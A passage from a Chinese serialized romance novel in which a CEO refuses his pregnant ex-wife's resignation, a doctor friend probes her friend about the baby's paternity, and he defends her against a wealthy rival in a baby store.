秦川在他对面坐下,“你又打算让我什么时候回京北?”
贺忱,“该回去的时候回去。”
“贺忱,你为什么不逼着我问你想知道的事情。”
秦川放在膝盖上的手收拢。
贺忱目光逐渐锐利,“就算你会害我,也是迫不得已。”
兄弟一场,贺忱不逼他。
而且贺忱大概猜得出,秦川的把柄是什么。
“希望未来某一天,你还会念及这份兄弟情。”
秦川心底愈发不是滋味,“程青良不是个好摆脱的主,尤其你妈跟程家走得又近,程唯怡的事情你必须拿到实证才能掌控主权,但是贺忱,你想过吗?程唯怡现在视沈渺如眼中钉,你逼她,她狗急跳墙,沈渺可能会遭殃。”
“不用你说。”
贺忱瞥他一眼,“赶紧收拾东西,走了。”
他起身拿上车钥匙,阔步离开。
秦川拿起外套,跟上他,去他家里喝酒。
两人喝酒话都不多,相对而坐碰杯就干。
秦川总是先倒下的那一个,跟以前年轻时一样。
“贺,贺忱,好兄弟,我闯的祸我负责,绝对不枉费这二十多年的兄弟情。”
秦川倒在桌角,醉醺醺地说。
211.是不是不想结这个婚了?
贺忱坐在窗边,敲着二郎腿,指缝里夹着的烟自动缓慢燃着。
他只是睨了秦川一眼,并未说什么。
玄关柜子上的手机突然响起。
他起身过去,将手机拿起接起。
是贺家老宅打来的电话。
“孙子,你准备什么时候回深城?”
贺老夫人的声音传来。
贺忱看了看腕表,嗓音如常,“忙完就回去,这么晚了,您怎么还没休息?”
“奶奶睡不着,担心你。”
贺老夫人一声长叹,“婚期临近,你跑到深城不回来,是不是……不想结这个婚了?”
贺忱沉吟片刻道,“您别操心我的事情,我自有安排。”
“你安排什么?”贺老夫人哼了声,“你跑到深城去,你妈觉得对不住程家,婚事她都亲力亲为,请帖都发出去了,酒店也订好了,就连你和程唯怡的结婚礼服她都找人弄好了。”
明黎艳是个要面子的。
纵然这门婚事闹了不愉快,可她不愿让人看笑话。
贺忱这态度不对劲,婚事有可能有变数。
可她硬撑着一口气,无论如何也要把这门婚事进行下去。
她不会给贺忱反悔的余地。
“你跟奶奶交个底,到底怎么想的?”
贺老夫人沉不住气了,她问,“这个婚,到底结不结?你要不结,我去跟你妈说!”
老太太的语气充分表达出对这门婚事的不满意。
“她的脾气,您能说得动?到时候贺家鸡飞狗跳,让外人看了笑话。”
贺忱劝慰贺老夫人,“您别操心了,我自有安排。”
确定贺忱没有需要自己帮助的地方,贺老夫人不再坚持。
“既然你不需要奶奶帮忙,奶奶就不插手了,那你能帮奶奶个忙吗?”
贺忱:“……”
醉翁之意不在酒。
“渺渺怀孕的事情,你都知道了吧,她一个人大着肚子在千里之外,奶奶不放心,你帮忙照顾着点。”
贺忱长眸一眯,“听您的语气,您早就知道了?”
贺老夫人,“确实早就知道了,她不想让别人知道,可能是这件事情有内幕。”
“您没问问她是怎么回事。”
贺忱嗓音沉甸甸的。
“我是你奶奶,不是她奶奶。”
贺老夫人说,“这孩子对我有孝敬心,但前夫奶奶的身份是一条鸿沟,这种事情她不方便跟我说,就好比做过夫妻的两个人,当不了朋友。”
如果不是他们的关系处得确实很好,沈渺不会硬着头皮来贺家看她。
“她不需要我照顾。”
贺忱的住处离着沈渺那儿半个多小时的车程。
何之洲走路去她家都用不了二分钟。
哪里用得着他?
“女人想得多,而且你快结婚了,她保持距离理所应当,可你是个男人,就不能大度一点?”
贺老夫人语气不悦,“但凡你当时多一点体贴和温柔,她也不能跟你离婚,要我说天底下哪里还有比我孙子更好的男人?”
贺忱分不清,贺老夫人到底是夸赞还是什么。
“她一个女人大着肚子在外地挺不容易的,你能帮就帮一把,别安排太多工作……”
贺老夫人的喋喋不休,被贺忱一句话给堵回去了。
“她提了离职。”
没了上司这层身份,贺忱更没有立场管沈渺的事情。
贺老夫人顿了几秒问,“那她跳槽去哪里?”
“离职报告我还没批,她这个情况能去哪里?”
怀孕期想找工作,根本不可能。
“你干嘛不批?”贺老夫人抓住重点,“孙子,再遗憾你跟她也不可能了,你别死缠烂打。”
贺忱:“……”
他是那种人吗?
好马不吃回头草,虽然沈渺确实有些特殊,但也仅限于她在工作上能力出色。
贺忱是觉得,沈渺走了分部没人管,怕被韩董钻了空子。
“明天就把她的离职报告批了,给她两百万的赔偿费。”
贺老夫人说。
“是她要离职,不是我开除,公司没道理付给她赔偿费。”
贺忱提醒道。
贺老夫人,“你们离婚的时候还该给她赔偿费呢,你怎么不给?”
贺忱,“是她不要。”
“她不要你就不给啊?说到底还是你的问题,少废话,咱们贺家不缺钱,让她过得好一些奶奶这心里舒服……”
若不是相隔千里,贺老夫人早就过来看沈渺了。
“我觉得她能离职,所以这笔赔偿金完全可以省了,时间不早了您早点休息,我还有事先挂了。”
贺忱放下手机,直接挂断电话。
他站在原地沉了几秒。
手机又‘叮咚’响了几声,是贺老夫人发来的消息。
【孙子,一日夫妻百日恩,你不能恩将仇报。】
【你们结婚那两年,渺渺可没有对不起你的地方。】
【你帮奶奶照顾好她——】
诸如此类的消息,一条接一条发过来。
颇有贺忱不答应,她就一直发的架势。
贺忱回了个‘好’字。
手机终于安静下来。
他转身上楼,落座在书桌前,将沈渺的离职申请驳回了。
——
大半夜收到离职申请驳回的邮件,沈渺本来迷迷糊糊快睡着了,一下子彻底清醒。
她捧着手机坐起来,揉了揉眼睛又看一边邮件。
还是不确定,她下床打开电脑,再次点开邮件。
离职驳回,无理由驳回。
沈渺拿过手机就准备给贺忱打电话。
看了转而一想,这个点万一程唯怡跟他在一起——
为了不必要的麻烦,沈渺放下手机上床睡觉,打算等明天产检完,去公司一趟。
她一晚上都没怎么睡。
次日一早,她收拾好去了商音那儿。
“来得刚好,我擦个口红就能走,饿了吧?昭姐做了早餐带上,等抽完血就可以吃了。”
话落,商音将口红装起来,拎着包从化妆间出来。
商商还没醒,昭姐装了两份早餐拿过来,沈渺接过。
“谢谢昭姐。”
昭姐笑道,“客气啥,我看你肚子这么小都着急,等去了医院跟医生好好沟通一下,看看还需不需要加强营养,想吃啥跟我说,我给你们做。”
商音抱了下昭姐,“真是捡到宝了,不光照顾好孩子,还把我们两个投喂得这么好,下个月给你涨工资!”
她最近直播成效很好。
跟昭姐寒暄两句,沈渺与商音出了家门。
“是不是要晚了。”沈渺看了看时间,比预期晚上十几分钟了。
“不慌,秦川等着咱们呢。”商音不急不慢地发动引擎。
212.贺忱不见得要这个孩子
“秦川?”沈渺看向商音。
“对,他在医院身兼双职,妇产加儿科,我直接走后门让他加塞一个号,做什么都方便。”
商音朝沈渺眨眨眼睛,“聪明吧。”
沈渺安静几秒道,“可我分明记得,他以前对你爱答不理。”
“他最近是热情过头了,商商出院后每天都发微信关心,可能有点醉翁之意不在酒,但我又不傻,不被他骗了去的同时还能沾上光,何乐而不为?”
商音得意一笑,一副精明算计的样。
沈渺泼冷水,“跟秦川比聪明,我觉得你连他三分之一都不到。”
“你过分了,我就算再傻也能猜出来他想从我嘴里套什么话,我都知道他目的了,还能被他套了话去?”
商音白她一眼,“我说什么也不会出卖你的。”
沈渺当然知道她不会出卖自己。
但是秦川那个人,给她一种说不出的感觉。
说他是坏人,倒也不是,可说他是好人,又觉得他不正常。
“我跟你说,我打听了一下秦川,他可惨了,要不是贺忱跟他关系好,他早就毁了,所以后来他为贺忱拼过命,两个人的友谊是革命般的存在。”
商音对秦川,挺感兴趣的。
不过她感兴趣的点是,“你说秦川是不是T?”
“不知道,我没接触过。”沈渺摇头。
“他这么多年只有贺忱一个朋友,你说……他会不会暗恋贺忱?”
商音只要想到秦川,就想到这个问题。
“贺忱长得帅,男女老少通吃,我觉得秦川有拜倒在他西装裤下的可能。不行,我必须得弄清楚,秦川正不正常!”
沈渺对秦川没印象。
她跟贺忱结婚那两年,秦川在国外。
现在有了秦川这么个人,她后知后觉想起来,贺忱的书房里有一张合影。
跟男人的,放在最高的位置,她的角度有些看不清楚。
现在想来,那应该是跟秦川。
“这种事情太伤人了。”
沈渺提醒她,“你说话注意,给人家留面子。”
商音,“我当然知道了,我换个法子去试探,他是不是T。”
闲聊间,医院到了。
沈渺下车去门诊楼等着,商音去停车。
她刚走到门诊楼门口,手机就响了。
是李白恬打来的电话。
“沈渺姐,贺总让我问你,为什么还没来上班?”
沈渺细眉一蹙,“我晚一些去公司。”
那端,李白恬的手机开着扩音,放在桌子上。
她小心翼翼打量着贺忱的脸色。
贺忱眼皮轻掀了下,拿过纸笔写下一行字。
“啊……你去干什么了?”
他写一个字,李白恬按一个字。
沈渺,“我在医院做检查。”
贺忱继续写,李白恬继续一字一顿地念。
“问她做什么检查,需不需要帮忙?”
沈渺:“……”
贺忱将笔一丢,面色沉下来。
李白恬,“哦不对,是问你,哦不不不,我……”
“我大概两个小时以后去公司,帮我跟贺总说一声抱歉。”
沈渺瞬间明白过来,贺忱在李白恬旁边。
“不!”李白恬忙解释,“贺总不在我身边!”
贺忱修长的手指捏了下眉心,面色绷起。
这就是沈渺选中的人?
通话结束,沈渺把手机收起来,刚好商音也到了,两人一同进去。
秦川早已安排好一切,她到了以后直接去了彩超室。
商音陪着一起进去的。
沈渺躺在床上,掀起衣服露出微微凸起的小腹。
“沈小姐还是要加强一些营养,孩子虽然没到发育不良的地步,但是整体偏小。”
秦川边检查边说。
商音站在秦川旁边,盯着一片白花花的仪器。
“秦医生,这都是什么啊?”
她看不懂屏幕上的东西。
秦川指着屏幕上解释,“这里是孩子的手,这里是腿,这里是头。”
“这么神奇,你都能看出来啊。”
商音悻悻笑道,“那你能不能看出来,这是男孩还是女孩啊?”
“商小姐,鉴定胎儿性别是犯法的。”
秦川继续做检查,板着一张脸说。
“咱们不是认识吗?”
商音咧嘴笑,“我不去举报你。”
“沈小姐是打算顺产还是剖腹产。”秦川又问。
沈渺想了想说,“对孩子来说,哪个更好?”
秦川放下仪器,给她递过来一张纸,“科学意义上来说,两者没有差别,民间老话总说没有经过挤压的孩子不聪明,都是迷信。”
“我还没想好,如果条件允许就顺产吧。”
沈渺听说剖腹产容易有后遗症。
商音肚子上那条疤偶尔还难受呢。
“我提醒沈小姐一句。”
秦川将彩超单打印出来,“不论顺产还是剖腹产,都有风险,需要家属签订协议。”
商音,“我给她签字。”
“最好是直系亲属或者具有特殊关系的人来签字。”
秦川提醒,“沈小姐情况特殊,没有直系亲属,可以让孩子父亲来,不论你与对方如今是什么情况,他都是首选的代理签字人。”
沈渺起身整理衣服,“就让音音签字吧。”
“我生产时就是她给我签的。”商音靠在墙上,指了指沈渺说,“我俩就是彼此的亲人,法律虽然没规定但是亲闺蜜,直系亲属。”
秦川欲言又止。
“渺渺,你先去抽血。”商音拿过沈渺的包,示意沈渺先出去。
沈渺朝秦川颔首,转身离开。
彩超室只剩下秦川跟商音。
“秦医生,你加我微信,突然又变得殷勤许多,是为了什么我心里清楚,你别把我当傻子,你要是再这么想方设法地打听沈渺肚子里的孩子,我可就翻脸了。”
商音表情严肃。
秦川面容不咸不淡,“商小姐,我从来没跟你打听过沈小姐的孩子是谁的,刚刚也只是例行公事的提醒和询问。”
“我才不信呢。”商音冷哼一声。
“我没必要打听,因为我知道她的孩子是谁的。”
秦川冷不丁说。
商音面色微变,“你,你说什么?”
“如果沈小姐心里没鬼,大大方方说出来就是,她越是不说才越让人心里起疑。”
秦川条理清晰道,“我跟贺忱一起长大的,我了解他,你让沈小姐主动跟贺忱摊牌,贺忱不见得要这个孩子。”
213.贺忱:我怎么放你走?
“他若要,你负责啊?”商音一脸他站着说话不腰疼的态度。
秦川的动作一哆嗦,下意识想拿起手机,点开录音。
但是商音已经岔开话题了,“不跟你说这些,你就告诉我沈渺怀的到底是什么,行不行?”
秦川手上的动作一顿,看她一眼又别开目光。
“无可奉告。”
“死秦川。”商音小声骂了句,拿着彩超单就走了。
那端,沈渺抽完血,准备去公司,她给商音打电话,让商音先回家。
商音把车开到公司门口等她,坚持要送她过去。
“贺忱拒绝了我的离职申请,我得去看看什么情况。”
沈渺弯着腰,在窗外不上车,她怕是会浪费很长时间。
“你上车,我有话跟你说。”商音给她使眼色,让她上去。
在她的坚持下,沈渺拉开车门上去,“怎么?你跟秦川问到是男孩女孩了?”
商音一脚油门踩下去,汽车驶入车流。
“你想知道?”
当初她怀孕的时候,想方设法也得知道怀的什么。
可沈渺怀孕这么久,也不见她好奇自己怀的什么,商音以为她没那么想知道。
“早说,我就是给秦川磕头,也得问问是什么。”
沈渺摇头,“那倒是不用,我没那么想知道,就是好奇你要跟我说什么。”
商音挑了挑眉,朝她甩过去一个激动的眼神。
“刚刚秦川说,他知道你怀的是贺忱的孩子,以他对贺忱的了解,你跟贺忱摊牌,贺忱不见得要你这个孩子。你说有没有可能,真摊牌以后他跟程唯怡结他的婚,再给你一笔天价抚养费?”
贺忱手指头缝里漏一漏,就够沈渺跟孩子一辈子衣食无忧的。
巨大的财力悬殊,对她们来说算得上天价。
沈渺呼吸一滞,静默数秒道,“所以你说秦川怎么知道我这个孩子是不是贺忱的呢?”
“我……”商音一噎,开车的手明显慌了,“跟我没关系,我没说!”
她是没说。
但刚刚,被秦川给诈出来了。
“靠!”商音使劲拍了下脑门,“渺儿,我对不起你,秦川这孙子,真他妈阴啊!”
沈渺:“……”
怕什么来什么。
“秦川真不是人,等会儿我打电话当面骂!”
沈渺倒是渐渐淡定了。
“估计他也没想到你的话这么好套,所以来不及留证据,你别找他,等他再找你时不承认就行了。”
万事讲究证据。
没有证据,她这个当事人说什么是什么。
商音脸色一虚,“我还想等你进了公司,就给秦川打电话骂他呢。”
经沈渺提醒,她后知后觉明白,真骂了就等于给秦川二次确认的机会。
“别骂了,你先回家。”
公司门口,沈渺下车,叮嘱商音两句。
商音冲动归冲动,胜在听话。
亡羊补牢,为时不晚。
沈渺交代好,进入公司。
她前脚走,后脚商音就接到了秦川的电话。
“商小姐,刚刚我说让沈渺跟贺忱摊牌的事情,你跟沈渺说了吗?”
商音坐在车里,握拳咬牙,暗骂着秦川卑鄙,竟然真被沈渺猜对了!
但她装傻充愣,“什么摊牌?”
“就,摊牌她肚子里的孩子,是——”
“秦医生,你说的话我怎么听不懂?”
商音咬牙切齿,语气却无辜,“渺渺肚子里的孩子,有什么可摊牌的?”
那端,秦川沉默了几秒道,“那是我理解错了,打扰商小姐了。”
“没事,挺乐意被秦医生打扰的。”商音语气好不讽刺,“就是秦医生也太冒昧了,连普通话都理解错了,还特意打电话过来……”
秦川静静听着,她那张嘴够损的。
直到她损够了,他结束了通话。
——
百荣分部顶层总裁办。
沈渺来的不巧,贺忱正在跟韩文松谈事情。
她回办公室等,一等就是一上午。
临近中午,吃饭的点贺忱从办公室出来,看样子是跟韩文松没谈完,要边吃边谈。
“沈总,你不是离职吗?”
韩文松看到她,先开了口。
沈渺微点头,算打过招呼,不再理他,看向贺忱。
“贺总,方便单独聊两句吗?”
韩文松目光渐变的警惕,盯着沈渺,“有什么事情,还得单独跟贺总说,贺总很忙的。”
成为贺忱的‘狗腿子’后,韩文松说话都比以前语气冲。
而贺忱也开始给他足够的面子。
“韩经理说的是,你有话就去饭桌上一起说吧。”
韩文松下意识说,“贺总,沈总即将离职的人,不方便听我们的谈话内容吧?”
沈渺,“确实,我已——”
贺忱嗓音淡然,打断她,“她不离职。”
“那她,这几天不是就在离职静默期吗?”韩文松很希望沈渺走。
贺忱沉默,显然他说沈渺不离职就不离职,对韩文松的废话理都不想理。
韩文松复又问,“那沈总什么时候回来上班?”
沈渺还打算找个时间,单独跟贺忱说离职的事情。
她并未插话。
却听贺忱道,“提前给她休产假,以后公司事务你多承担一些。”
“产,产假?”沈渺愣住。
正式产假还得小两个月以后才能申请休,结果贺忱现在就给她放产假了?
关键是,带薪吗?
“贺总放心,这都是应该的。”韩文松怕沈渺回来,地位也跟着回来。
可沈渺这产假休息起来,小半年进去了,到时候他在贺忱身边的地位,早稳了。
“走吧。”贺忱朝电梯口走去。
韩文松点头哈腰的跟着,快一步摁下电梯。
“我来的时候刚吃了饭,还不饿,贺总跟韩经理去吃吧,我等着您回来。”
沈渺没跟上去,她说完又回了办公室。
贺忱带着韩文松走了。
一顿午饭吃了大概两个小时,贺忱才回来。
他回来后,直接打通内线,“过来。”
沈渺起身就去了他办公室。
“贺总,辞职的事情我是认真的,提过这么多次,也该正面解决一下这个问题了,我——”
“奶奶给我打电话特意让我多照顾你,还说你要是辞职赔偿给你两百万。”
贺忱十指穿插,抵在办公桌上,他话语锋锐犀利,“我怎么放你走?”
214.贺忱有种从未拥有过她的错觉
不是不想放,是不能放。
两百万,沈渺在他心里的地位,不值这个价。
沈渺的脸色不可抑制的白了几分。
“抱歉,又给贺总添麻烦了,我给奶……贺老夫人打电话说一声,我不要钱。”
宁可不要钱,她也要离职。
贺忱黑白分明的眼眸沉邃了不少。
“沈渺,你是会拿捏人心的。在这千里之外,让老太太悬着一颗心,你觉得她会听吗?”
他说的是事实,可这事实太过刺耳。
好像沈渺心机,故意这么做。
“贺总,你可以跟老夫人说给了我两百万,我不会戳破。”
沈渺讨厌这种跟贺忱针尖对麦芒的对话方式。
贺忱像是一把刀,插在她心口。
每次对话,那把刀都要颤上几颤。
小幅度的动作,却让她有钻心的痛感。
“你觉得,骗得了她?”
贺老夫人有多执着,不用贺忱说,沈渺也知道。
像是一个死局,一潭死水。
她陷在里面,水深火热的出不去。
“那就谢谢贺总了,今天起我开始休产假。”
沈渺不再挣扎,顺遂。
那天走的时候,就将东西带的差不多,她只拿了办公桌上的小摆件,就走了。
李白恬送她到门口,“贺总说,今天起我暂时顶替你以前的位置,给他记录会议,安排行程。”
“这是好事。”沈渺打了车,趁着等车的功夫,交代李白恬。
“贺总一向不喜欢迟到,任何的工作提前十分钟提醒,还有他喜欢美式咖啡加冰,冬天也这样,他喜欢现磨咖啡,我把那家连锁的咖啡豆链接发给你,你买了去财务报账就行……”
贺忱的习惯,她手到擒来。
李白恬拿着个小本本记,“可是沈渺姐,我怕是做不好这个工作。”
“放心,贺总的脾气没传言那么可怕,只要不犯明显错误,他会给你适应期。”
沈渺记得当初她刚入职,每天都状况百出。
她一度以为,自己要被开除,保不住这份工作了。
但是贺忱气归气,还是给了她足够的时间,让她把这个职位的所有事情,都捋顺了。
“那万一我有问题,可以给你打电话吗?”
李白恬还是不放心。
沈渺的车到了,司机停好后摁了两下喇叭。
她拍了拍李白恬肩膀,“可以,快回去吧,我先走了。”
她转身朝车上走去。
沈渺带回来的消息,不是成功离职,而是休产假。
这出乎商音的预料,“谁家好人产假提前休两个月?贺忱这是给你开后门呢吧?还有啊,秦川变着法的想从我嘴里知道,你怀的是不是贺忱的孩子,是不是贺忱起疑心了?”
“不知道。”沈渺猜不透贺忱怎么想的,“但他应该是没有想过这个孩子会是他的,这是好奇孩子是谁的。”
否则,就不是让秦川来试探这么简单了。
可听秦川的语气,又很确认?
“这两人搞什么?”商音挠头,根本无法理解,“他俩明明是一伙的,却又不像一伙人。”
“休产假也好,至少不用每天都看到贺忱了。”
沈渺松一口气的是,到她生产,都不用再面对贺忱。
“那等有时间,我陪你去选待产包。”
商音来了精神,“等我先列个清单。”
沈渺笑着摇头,“不用了,能网购的网购,不行的我自己去买,你这段时间就好好陪着商商吧,最近流感多,别生病了。”
上次商商生病,小家伙痛苦不说,也快要了商音半条命。
用‘疯了’来形容她那几天,一点都不为过。
不是自责自己没照顾好孩子,就是怀疑孩子生了大病。
“我,我那几天刚好要来大姨妈,你别笑我,等你生了也这样!”
商音想到自己那几天的德行,不自在极了。
沈渺打趣了几句,按照她列的待产清单,再网上选购东西。
但婴儿床跟奶粉一类,还是到实体店去买合适。
——
“贺总,是不是哪里不合适啊?”
李白恬给贺忱弄了咖啡,汇报行程。
迟迟没等到回应,她这才发现贺忱抿了一口咖啡后,就像石化了一样,坐在那里。
贺忱眼眸微转,将咖啡杯放下。
“你冲的咖啡?”
李白恬点头。
说完,见贺忱不吭声,她以为口味不合适,忙解释,“我没磨过咖啡豆,不如沈渺姐的手艺,我多练习几次,会好的!”
“她教你的?”贺忱面色不辨喜怒。
李白恬点头。
“她还教你什么了。”
李白恬从口袋拿出便贴本,一页页的翻开。
“沈渺姐说您只喝冰咖啡,还说您饮食习惯偏清淡,胃口不好容易胃痛让我常备着胃药……”
这些,若不是沈渺说,贺忱自己都没有发现。
他的目光一下变得空洞许多。
脑海里浮现沈渺在身边时的场景,贺忱有片刻的恍惚。
“贺总,沈渺姐可真了解你。”李白恬观察这两天,发现沈渺说的每一件事,都非常的精准。
连贺忱衣服的尺码,她都交代的很清楚。
偶尔参加宴会,贺忱会让她准备礼服。
“确实。”贺忱薄唇溢出两个字。
李白恬怔了怔,又忙开口,“我的意思是,沈渺姐真称职!”
贺忱毕竟快结婚了,用‘了解’两个字来形容沈渺对他,怕是容易引人猜忌。
“出去忙吧。”
要说称职,沈渺是天底下最称职的下属。
想当初他们婚姻内那两年,她都没逾越的地方。
妻子的职责,除了每晚的春宵,她没有尽到过。
现在想来,贺忱有种从未拥有过她的错觉。
乍然响起的铃声,扯回贺忱的思绪,他拿出手机接电话。
“贺总,沈秘书休产假了?”林昭的声音传来。
贺忱‘嗯’了一声。
林昭,“韩董这两天一直不安分,跟高家的人联系,我偶然查到高家人似乎在调查沈秘书。还查到了孤儿院这边,您说高家人想干什么?”
贺忱狭长的眼眸倏地一眯,“盯着高家的一举一动,韩董那边不用管,都在我的掌控中。”
“是。”林昭应声,静默数秒又提醒了一句,“沈秘书是您的人,多少双眼睛都盯着她,只怕休了产假也不安生,这两天高家人一直跟着她。”
高家对沈渺的关注度,过头了。
贺忱想到什么那般,拿起外套起身,阔步朝外走,“查查沈渺这几天都在干什么,现在人在哪里。”
215.但我的人可不穷酸
沈渺想趁着还没孕晚期,提前把东西都买好。
她抽了天时间去商场买东西,商音本要跟着来,但出门前商商闹着找她,不小心磕了头。
沈渺劝她别跟着了,她出乎预料的好说话,竟是答应了。
直到沈渺收拾好出了家门,看到何之洲的车停在路边,她才明白过来,商音为什么答应的那么痛快。
“沈渺,你去哪儿?上车我带你一程!”
何之洲将跑车顶棚升上去,探出半个身体来,朝她招手,“今天做你的专职司机!”
沈渺在他那拉风的超跑前停下,“我去哪儿,你应该清楚。”
“额……”何之洲摸摸鼻子,“你看你,还不如商音把我当朋友呢,我整天待在家里没事,你要干什么喊我不就行了?”
“你没事就回京北吧,我已经开始休产假了,没有需要你帮忙的地方。”
沈渺每次在他家门口路过,他都要出门来打招呼。
不知道他嫌不嫌累,反正沈渺替他累,总盯着她。
“那行,你上车我陪你去商场,过两天我就走。”
何之洲下车,绕到副驾把门打开。
沈渺干脆上了他的车,系好安全带后取消了网约车。
“听说贺忱给你休产假了?”何之洲问。
“嗯。”
“吃公家饭都没这么早休产假,贺忱怎么想的啊?”
“你想知道,自己去问他。”
何之洲撇嘴,“我不去,最近不知道怎么了,他像个活阎王,抢了九州好几个项目了,我爸给我打电话让我千万别在这时候招惹他。”
贺忱对何之洲像是有间接性的情绪。
时不时就抢九州项目,跟何家作对,隔一阵没准又消停些。
那些项目,没有可抢性,主打一个对着干。
“或许他不喜欢你总跟着他。”
除此之外,沈渺想不出其他理由。
贺忱前脚来深城,后脚何之洲就来了,说好听了是跟着,难听了就是跟踪。
“我可不是冲着他来的。”何之洲振振有词,“我又不是同性恋,谁跟秦川一样,整天跟在他屁股后面。”
沈渺不再说话,不跟他讨论与贺忱有关的话题。
半小时后,商场。
何之洲把车停在门口,“你先进去找个地方等我,我去停车。”
“好,三楼是孕婴用品,我上去等你。”
沈渺来之前就查好了这家商场每一层的销售类别。
她讲包挎在胳膊上,进入商场。
何之洲驱车直奔地下停车场,刚转弯车身猛地一震,刺耳的响声划破负一。
后视镜里,一辆大车冒着黑烟,怼在他车屁股上……
——
沈渺在三楼电梯口等了一会,迟迟不见何之洲上来。
她转身先进了临近的孕婴店。
服务员立马迎上来,“女士您好,请问您有什么需要?”
“我想要一张婴儿床。”沈渺在外面就看到了几张小床。
原木色,被打磨的光滑精致,形状也很独特。
离近了看,更加细致。
服务员一顿介绍,纯手工雕刻,进口木制材料等等。
这家商场有线上商城,沈渺在网上看过这款婴儿床,只是想来实体店看看具体细节。
现在看来确实很好,她打算立刻就定下。
“这款婴儿床现在就一个了,下一批货至少要等三个月,这个品牌和款式在全国连锁门店卖的最好。”
服务员见她心动,立马提醒,“刚刚还有两位顾客看过,在考虑说等下回来呢。”
“那我要了。”沈渺打开包,正欲拿出手机交钱。
一只捏着黑卡的手伸过来,当着她的面,递到服务员面前。
“这张婴儿床,我要了。”
沈渺抬头,一眼就看到吴玥珊染着豆蔻色指甲的手。
服务员‘呃’了一声,“这位小姐已经打算要了。”
吴玥珊,“打算要,就是还没要,而且钱也还没交。”
“这……”服务员一脸为难。
“高少夫人,对你来说这种廉价的婴儿床,应该看不上眼,没必要为了跟我过不去,浪费钱吧。”
这张婴儿床八千,沈渺看到价格肉是小疼的。
但对高家来说,八万的婴儿床都不在话下。
吴玥珊这么做,无非是为了跟她作对。
“怎么会呢?”吴玥珊把卡塞服务员手里,冲沈渺挤出一个笑容来,“我买来送给你的。”
沈渺一怔。
“去买单,把这张婴儿床送到沈小姐家里。”
吴玥珊睨了服务员一眼。
服务员反应过来,这才拿了银行卡去前台结账。
“不用了。”沈渺想拦,却被吴玥珊给拦下了。
“这当做我之前曝光你的事情,给你的补偿,但是我收回之前的道歉,毕竟媒体没报道错,要不是我婆婆让我跟你把关系搞好,我才懒得理你。”
吴玥珊面露讥讽,挺着的大肚子像是快把肚皮撑破了一样。
她双手扶着肚子,好不威风,“虽然不知道我婆婆是觉得哪儿欠了你,让我低头,不过那只是个面子工程,我怀的可是双胞胎,高家的长子长孙,你有气也给我憋着……”
果然,吴玥珊露出丑陋的一面,更让沈渺觉得顺眼。
她不拦着服务员去买单了。
“高少夫人不亏是母凭子贵,人不怎么样肚子真争气,说不讲理的话都这么硬气,既然如此我就谢谢你的好意了。”
她把手机收起来,恰好服务员刷完卡,过来签单。
“女士,请您留一下地址。”
服务员递给沈渺一张空白的纸。
沈渺接过来,填写地址。
“八千块的婴儿床,就换来你一句谢谢啊?你可真够廉价的,没见过世面……”
吴玥珊想看的是她打掉牙往肚子里咽,这床不的不收。
偏偏沈渺坦然自若的收下,像是她应得的一样,吴玥珊顿时来了气。
“沈渺,要我说你肚子里这孩子怪可怜的,连张好床都买不起,你这妈当的良心不痛吗?你一个孤儿院长大的怎么敢,又怎么配当单亲妈妈?你是从小苦日子没过够,还要让你的孩子再体验一次吗?”
沈渺手上的动作一顿,她将填好的地址交给服务员,看向吴玥珊。
“比起物质,品质更重要,相比之下我更为你肚子里两个孩子感到担忧,希望他们未来不要像你一样尖酸刻薄。”
“你——”吴玥珊指着她,“你一个穷酸女人,敢瞧不起我和我的孩子?我——”
不等她的话落地,沈渺身后蓦地出现一抹颀长的身影。
男人双手插在口袋,看着她,“不愧是高家的少夫人,口气真不小,但我的人可不穷酸。”
216.没想到,那个孩子竟然是贺忱的!
男人的声音低沉富有磁性,带着一股与生俱来的威压感。
一瞬间,店里的气氛凝固,服务员大气都不敢喘了。
沈渺回头,看到贺忱的一刹那,心跳不可抑制的加快了两秒。
很快就归于平静,她微垂下眼眸,往旁边站了站。
吴玥珊直对上贺忱,面色有些虚。
“贺总,你什么意思?”
贺忱,“实话实说。”
“你给她出头?”吴玥珊哼了声,“你不怕我告诉唯怡?”
“请便。”贺忱侧目看了眼沈渺。
她穿着浅粉色针织长裙,这颜色和款式都很挑人。
像是为她量身打造的一样,直角肩将衣服撑出完美的角度,瘦瘦小小又有些圆润感。
靓丽的浅色更是衬的她肤色白皙细嫩。
看起来就好欺负,难怪随便被人欺负了。
“你……”
“这位小姐。”
服务员见苗头不对,硬着头皮打和,“既然您把婴儿床送给沈小姐,那再为您选一个吧?”
说着,服务员又与沈渺说,“沈小姐,你老公来了,还需要我们送到家里吗?”
老公?贺忱?
不光沈渺一个人没反应过来,吴玥珊也反应不过来。
贺忱却反应很快,“不用,送到我车上就好。”
“好,您说一下车位号我让仓库的人直接送下去。”
服务员又拿出纸笔记录。
“你们这么明目张胆吗?”吴玥珊反应过来,见贺忱都不解释一下,脸色一阵青白。
贺忱睨她一眼,扣住沈渺手腕,拉着沈渺离开。
他的置之不理,让吴玥珊气上加气,掏出手机就给程唯怡打电话。
“我看到贺忱了,他陪沈渺买待产包,唯怡,你要是咽的下这口气,我就没办法跟你做朋友了,太窝囊了!”
程唯怡还在深城,想伺机跟贺忱多接触。
奈何,贺忱根本不给机会。
“什么?他陪沈渺买待产包?”
贺忱明明已经知道沈渺怀了别的男人的孩子,为什么还跟沈渺走这么近?
“可不嘛,唯怡,你们都快结婚了,贺忱跟沈渺还这么明目张胆,这个婚能不能结成,都是未知数!”
吴玥珊没说的是,就程唯怡这么小家子气,根本拿捏不住贺忱。
程唯怡犹豫了下说,“方便的话,你帮我拍几张照片,行吗?”
“行,等着。”吴玥珊挂了电话,抬脚朝他们离开的方向,追上去。
——
停车场,沈渺与贺忱在等服务员送婴儿床过来。
她揉着方才被贺忱圈住的手腕,人有些不自在。
“贺总,我打个车把东西带回去就行了,不麻烦你送,刚刚谢谢你。”
贺忱双手插兜,靠着车身,面视前方。
“不用谢,怕你丢了百荣的脸,高家再强不过是地方企业,你还能被一个纯家庭主妇欺负了?”
沈渺在工作上没吃过亏。
在商圈,她背靠贺忱,腰板永远都能挺直。
但在上流圈子,沈渺没有拿得出手的身份。
该避锋芒时,就避锋芒,这是她一向都懂的规则。
贺忱这生来就含着金汤匙的人,永远都不会懂。
“高家派人调查你了。”
贺忱见她面色变幻,有些不好,他语气逐渐缓下来。
“你跟高家结梁子了?”
沈渺一怔,不由得拧眉,“除了跟吴玥珊关系不好外,没有什么往来。”
若高家想为吴玥珊出头,找补面子,不该是调查。
借着沈渺这父不详的孩子发挥,沈渺根本无力还手。
“那你好好想想,跟高家的接触中有没有什么不对。”
